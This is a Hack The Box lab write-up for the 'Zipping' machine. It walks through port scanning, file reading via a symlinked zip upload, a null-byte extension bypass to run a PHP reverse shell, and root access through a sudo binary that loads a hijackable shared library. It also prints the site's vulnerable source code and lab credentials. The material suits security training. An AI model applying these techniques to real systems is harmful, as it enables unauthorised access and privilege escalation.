$ nmap -p- --min-rate 3000 10.129.114.241
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-27 17:27 +08
Nmap scan report for 10.129.114.241
Host is up (0.17s latency).
Not shown: 64643 closed tcp ports (conn-refused), 890 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Did a detailed scan as well:
$ nmap -p 80 -sC -sV --min-rate 4000 10.129.114.241
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-27 17:28 +08
Nmap scan report for 10.129.114.241
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
We don't need to add a domain to visit this site. I still added zipping.htb as standard HTB practice.
Web Enumeration -> Zip File LFI
The website was a watch store:
There is a shop feature located on the site, which was rather uninteresting except for the URL itself:
The page parameter was a really obvious LFI. The page is based in PHP, so I assumed that this was loading products.php. If we can figure out how to upload a shell on the machine like rev.php, it would potentially have to be triggered using this. All theory here, I have no source code yet.
The 'Work with Us' part was rather interesting:
This is quite specific in terms of requirements, and while there is technically a CVE out there for this (CVE-2023-38831), I think it's a bit too new for this box which just came out.
Since we are allowed to specify whatever file we want, we could potentially create symlinks to exploit an LFI:
I created a symlink called test.pdf that pointed to /etc/passwd, since we need to have a PDF file within the zip. Then I created a zip file with the symlink:
However, visiting it shows an empty page. When the requests are viewed through Burp however, it shows that it worked!
SQL Injection Fail
Using this, we can read whatever file we want. The first thing I want to read is the upload.php file located at /var/www/html/upload.php:
<?phpif(isset($_POST['submit'])) {// Get the uploaded zip file $zipFile = $_FILES['zipFile']['tmp_name'];if ($_FILES["zipFile"]["size"] >300000) {echo"<p>File size must be less than 300,000 bytes.</p>"; } else {// Create an md5 hash of the zip file $fileHash =md5_file($zipFile);// Create a new directory for the extracted files $uploadDir ="uploads/$fileHash/";// Extract the files from the zip $zip =newZipArchive;if ($zip->open($zipFile)===true) {if ($zip->count()>1) {echo'<p>Please include a single PDF file in the archive.<p>'; } else {// Get the name of the compressed file $fileName = $zip->getNameIndex(0);if (pathinfo($fileName,PATHINFO_EXTENSION)==="pdf") {mkdir($uploadDir);echoexec('7z e '.$zipFile.' -o'.$uploadDir.'>/dev/null'); echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {echo"<p>The unzipped file must have a .pdf extension.</p>"; } } } else {echo"Error uploading file."; } } }?>
The next thing to read is the code for the shop.
<?phpsession_start();// Include functions and connect to the database using PDO MySQLinclude'functions.php';$pdo =pdo_connect_mysql();// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.$page =isset($_GET['page'])&&file_exists($_GET['page'] .'.php')? $_GET['page'] :'home';// Include and show the requested pageinclude $page .'.php';?>
There's an LFI above with an auto .php extension includer. The include function is also used, which would execute PHP code if it exists. This opens up the door to RCE exploits via a PHP file.
The above mentions a functions.php, which contains some more interesting stuff:
<?phpfunctionpdo_connect_mysql() {// Update the details below with your MySQL details $DATABASE_HOST ='localhost'; $DATABASE_USER ='root'; $DATABASE_PASS ='MySQL_P@ssw0rd!'; $DATABASE_NAME ='zipping';<TRUNCATED>
This password does not work for ssh however. Reading home.php also had a bit of interesting stuff:
<?php// Get the 4 most recently added products$stmt = $pdo->prepare('SELECT*FROM products ORDER BY date_added DESCLIMIT4');$stmt->execute();$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);?><?=template_header('Zipping | Home')?><div class="featured"><h2>Watches</h2><p>The perfect watch for every occasion</p></div><div class="recentlyadded content-wrapper"><h2>Recently Added Products</h2><div class="products"><?php foreach ($recently_added_products as $product):?><a href="index.php?page=product&id=<?=$product['id']?>"class="product"><img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>"><span class="name"><?=$product['name']?></span><span class="price">$<?=$product['price']?><?php if ($product['rrp'] >0):?><span class="rrp">$<?=$product['rrp']?></span><?php endif; ?></span></a><?php endforeach; ?></div></div>
The above does not have any input validation for the id parameter, which is user-controlled.
When we attempt SQL Injection via ' character within the shop and render it in Burp, we see this:
This confirms that SQL Injection works. This, combined with the LFI trigger through includes, gives us a clear exploit path. However, I wanted to enumerate where the id parameter was being processed. Running a quick gobuster scan shows that product.php exists:
<?php// Check to make sure the id parameter is specified in the URLif (isset($_GET['id'])) { $id = $_GET['id'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {header('Location: index.php'); } else {// Prepare statement and execute, but does not prevent SQL injection $stmt = $pdo->prepare("SELECT*FROM products WHERE id = '$id'"); $stmt->execute();// Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if (!$product) {// Simple error to display if the id for the product doesn't exists (array is empty)exit('Product does not exist!'); } }} else {// Simple error to display if the id wasn't specifiedexit('No ID provided!');}?>
The regex there looks quite hard to bypass, and combined with the fact that the box name is Zipper, it's obvious that this isn't the intended method.
Null Byte Bypass -> RCE
SQL Injection failed, so it's back to the Zip file method. This is the code that checks whether or not there's a valid file in the zip:
$zip =newZipArchive;if ($zip->open($zipFile)===true) {if ($zip->count()>1) {echo'<p>Please include a single PDF file in the archive.<p>'; } else {// Get the name of the compressed file $fileName = $zip->getNameIndex(0);if (pathinfo($fileName,PATHINFO_EXTENSION)==="pdf") {mkdir($uploadDir);echoexec('7z e '.$zipFile.' -o'.$uploadDir.'>/dev/null'); echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {echo"<p>The unzipped file must have a .pdf extension.</p>"; }
The only check present is the pathinfo function, of which it can be bypassed.
To exploit this, we need to somehow append a null byte to the contents of the zip file, since we cannot just include it in the name of the file. I took a PHP reverse shell and zipped it to find that the file name is included in the strings of a the zip file.
$ strings test.zip
k@As
rev.phpUT
Perhaps we could directly put the null byte within the zip file. Using hexeditor, I was able to edit it to this:
This would include the null byte needed to bypass the pathinfo function. When uploaded, this is what we see:
We can then visit that site and get a shell (without the .pdf at the end):
Privilege Escalation
Sudo Privileges -> Stock Binary
When checking sudo privileges, this is what I see:
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
There's a custom binary that we can run as root. Running it requires a password:
rektsu@zipping:/home/rektsu$ /usr/bin/stock
Enter the password: hello
Invalid password, please try again.
I transferred the binary to my machine and ran ltrace on it:
There's a libcounter file being loaded, which is likely a Shared Object file (.so). Since we have control over one file, we can easily create some basic C code that will trigger upon loading the library to give us a root shell.
Here's the C code I used based on the resource above:
Since we are already running this using sudo, no need to use setuid or setgid. Afterwards, compile it using this and download it to the /home/rektsu/.config file: